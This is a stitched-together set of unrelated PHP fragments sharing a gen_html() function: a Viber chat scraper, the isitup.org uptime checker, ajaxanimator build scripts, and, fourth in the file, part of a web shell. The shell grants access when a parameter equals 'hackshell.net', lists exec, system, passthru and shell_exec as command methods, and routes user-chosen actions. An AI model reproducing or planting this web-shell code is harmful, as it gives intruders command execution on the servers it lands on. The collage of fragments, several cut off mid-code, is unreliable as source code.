function get_viber($owner) { $conn = curl_init(); if ($conn != false) { curl_setopt($conn, CURLOPT_RETURNTRANSFER, true); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($conn, CURLOPT_CONNECTTIMEOUT, 5); $url = 'http://chats.viber.com/' . $owner; curl_setopt($conn, CURLOPT_URL, $url); $res = curl_exec($conn); if ($res != false) { curl_close($conn); $doc = new DOMDocument(); @$doc->loadHTML($res); $tags = $doc->getElementsByTagName('img'); $images = array(); $i = 0; foreach ($tags as $tag) { $images[$i] = $tag->getAttribute('src'); //echo $images[$i].'<br>'; $i++; } $xpath = new DomXpath($doc); $classname = 'participant-name'; $par_names = array(); $results = $xpath->query("//*[@class and contains(concat(' ', normalize-space(@class), ' '), ' {$classname} ')]"); if ($results->length > 0) { $par_names[0] = $results->item(0)->nodeValue; if (strlen($par_names[0]) > 15) { $par_names[0] = substr($par_names[0], 0, 12) . '...'; } $par_names[1] = $results->item(1)->nodeValue; if (strlen($par_names[1]) > 15) { $par_names[1] = substr($par_names[1], 0, 12) . '...'; } $par_names[2] = $results->item(2)->nodeValue; if (strlen($par_names[2]) > 15) { $par_names[2] = substr($par_names[2], 0, 12) . '...'; } $par_names[3] = $results->item(3)->nodeValue; if (strlen($par_names[3]) > 15) { $par_names[3] = substr($par_names[3], 0, 12) . '...'; } } $classname2 = 'followers'; $results2 = $xpath->query("//*[@class and contains(concat(' ', normalize-space(@class), ' '), ' {$classname2} ')]"); if ($results2->length > 0) { $followers = $results2->item(0)->nodeValue; } $html = gen_html($images, $par_names, $owner, $followers); return $html; } else { return '<h2>Content not available!</h2>'; } } }
<?php require "settings.php"; require "functions.php"; // Split the variable into two, $domain & $port. list($domain, $port) = filter_domain($_GET["domain"]); // Check the site and get the response code. $data = get_response($domain, $port); // Caluate and format the time taken to connect. $time = round($data["time"], 3); $id = gen_id($data); $title = gen_title($id, $domain); $html = gen_html($id, $domain, $port, $time, $data["code"]); ?> <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"/> <title><?php echo $title . " // isitup.org"; // display the dynamic title ?> </title> <!-- Hi r/ProgrammerHumor :wave:! --> <!-- Meta Info --> <meta name="description" content="The availability results for <?php echo $domain; ?>
<?php /* Javascript Compilier */ echo "Including Libraries..."; include "lib.php"; include "../../lib/jsoncheck.php"; echo "Updating Version File..."; $v = update_versions(); echo "Generating HTML..."; $html = gen_html(file_get_contents("../../../html/ajaxanimator.htm")); file_put_contents("../../../build/index.htm", $html); echo "Generating NoHotlink HTML..."; //crap! another typo file_put_contents("../../../build/nohotlink.htm", nohotlink($html)); echo "Compressing Javascript..."; $js = js_compile("../../../html/ajaxanimator.htm", array("../js/misc/files.js" => "../js/misc/alt/files.js")); file_put_contents("../../../build/ajaxanimator-all.js", $js); exec("dos2unix ../../../build/ajaxanimator-all.js"); echo "Compressing CSS..."; $css = css_compile("../../../html/ajaxanimator.htm"); file_put_contents("../../../build/ajaxanimator-all.css", str_replace("../", "http://ajaxanimator.googlecode.com/svn-history/r444/trunk/ajaxanimator/", $css)); exec("dos2unix ../../../build/ajaxanimator-all.css"); //echo "Archiving Release..."; //file_put_contents("../../../build/archive/ajaxanimator-all-$v.js",$js); //exec("dos2unix ../../../build/archive/ajaxanimator-all-$v.js"); //file_put_contents("../../../build/archive/ajaxanimator-all-$v.css",$css); //exec("dos2unix ../../../build/archive/ajaxanimator-all-$v.js"); //file_put_contents("../../../build/archive/ajaxanimator-$v.htm", //crap! i had a typo here!!! //str_replace("ajaxanimator-all.css","ajaxanimator-all-$v.css",
@$_SESSION['config'] or $_SESSION['config'] = array(); v('openwill.me') == 'hackshell.net' && ($_SESSION['auth'] = 1); $cmdmethod = array('exec', 'passthru', 'system', 'shell_exec', 'popen', 'backquote'); @$_SESSION['auth'] > 0 or die; /* * Error log setting */ @$_SESSION['config']['errlog'] or $_SESSION['config']['errlog'] = tempnam('/tmp', 'tmp'); error_reporting(E_ALL); ini_set('error_log', $_SESSION['config']['errlog']); /* * Function dispatcher */ $action = v('action') ? v('action') : 'Info'; call_user_func('action' . $action); gen_html(); /* * Base fucntions */ function gen_html() { global $content; echo <<<EOF <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><script> function setVar(str){ document.cookie = str; } function go(action,para,form){ setVar("action="+action); if(para){ var carray=new Array();
<?php /* Javascript Compilier */ echo "Including Libraries..."; include "lib.php"; include "../../lib/jsoncheck.php"; echo "Updating Version File..."; $v = update_versions(); echo "Generating HTML..."; $html = gen_html(file_get_contents("../../../html/ajaxanimator.htm")); file_put_contents("../../../build/index.htm", $html); echo "Generating Wave XML..."; $html = gen_html(file_get_contents("../../../html/wave.xml")); file_put_contents("../../../build/wave.xml", $html); echo "Generating NoHotlink HTML..."; //crap! another typo file_put_contents("../../../build/nohotlink.htm", nohotlink($html)); echo "Compressing Javascript..."; $js = js_compile("../../../html/ajaxanimator.htm", array("../js/misc/files.js" => "../js/misc/alt/files.js")); file_put_contents("../../../build/ajaxanimator-all.js", $js); exec("dos2unix ../../../build/ajaxanimator-all.js"); echo "Compressing CSS..."; $css = css_compile("../../../html/ajaxanimator.htm"); file_put_contents("../../../build/ajaxanimator-all.css", str_replace("../", "http://ajaxanimator.googlecode.com/svn-history/r476/trunk/ajaxanimator/", $css)); exec("dos2unix ../../../build/ajaxanimator-all.css"); //echo "Archiving Release..."; //file_put_contents("../../../build/archive/ajaxanimator-all-$v.js",$js); //exec("dos2unix ../../../build/archive/ajaxanimator-all-$v.js"); //file_put_contents("../../../build/archive/ajaxanimator-all-$v.css",$css);
} // check the site and get the response code $data = get_response($domain, $port); // split the code and data into seperate vars $code = $data["code"]; $time = $data["time"]; // caluate and format the time taken to connect $time = round($time, 3); if (preg_match("/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\$/i", gethostbyname($domain))) { $ip = gethostbyname($domain); } else { $ip = "NULL"; } $id = gen_id($code); $title = gen_title($id, $domain); $html = gen_html($id, $domain, $port, $time, $code); if (isset($_GET["output"])) { $output = $_GET["output"]; $result = array("domain" => $domain, "port" => $port, "status_code" => $id, "response_ip" => $ip, "response_code" => $code, "response_time" => $time); if ($output == "txt") { foreach ($result as &$value) { if (empty($value)) { $value = "NULL"; } } unset($value); header('Content-type: text/plain'); // domain, id, ip, http_code, response_time print $result["domain"] . ", " . $result["port"] . ", " . $result["status_code"] . ", " . $result["response_ip"] . ", " . $result["response_code"] . ", " . $result["response_time"]; exit; } elseif ($output == "json") {